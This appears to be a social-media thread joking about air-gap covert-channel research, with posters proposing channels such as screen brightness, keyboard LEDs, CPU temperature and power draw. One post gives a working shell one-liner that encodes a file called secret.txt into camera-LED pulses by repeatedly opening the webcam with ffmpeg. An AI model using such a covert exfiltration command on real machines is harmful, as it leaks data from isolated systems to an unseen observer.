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Anyone can come up with this stuff and implement it. Seriously. Like half of the papers only take a few lines of code to implement on both the transmitting and receiving sides (you need malware on both sides).
I was going to give you some ideas, but he's already done most of them (I looked around, thought "screen brightness" - yup, he did it last year). Uhh, let's see... camera LED! He's done keyboard LEDs, HDD LEDs, router LEDs, but not camera LEDs! Hey Morderai, free paper!
Here's your leaking code: xxd -c 1 -p secret.txt | while read a; do for b in ${a:0:1} ${a:1:1}; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null ; done; done 4 bits per pulse PWM encoding. Tested on my iMac. There's half of your paper! You're welcome!
Sounds great. Do it. Publish it.
did he do farts yet ? :x :D
He could do CPU temperature (although bit rate would be even lower).
He's already done that one.
Galaxy brain: creating antennas with FPGA routing fabric (hello, AWS F1 instances!) to covertly transmit (and receive?) informationpic.twitter.com/rizpo2ALvd
Ejected cdrom tray viewed through a window by someone in another building?
Preview of my Blackhat 2021 talk; Modulate PC power consumption with synthetic CPU loads - data exfiltrated by reading victim's electricity bills. With FEC we can achieve a reliable 4-bits-per-annum.
Blackhat 2022: random error message in toolchain, data exfiltrated by reading stackoverflow search occurence
Hasn't keyboard LED thing been used in Neal Stephenson's Cryptonomicon?
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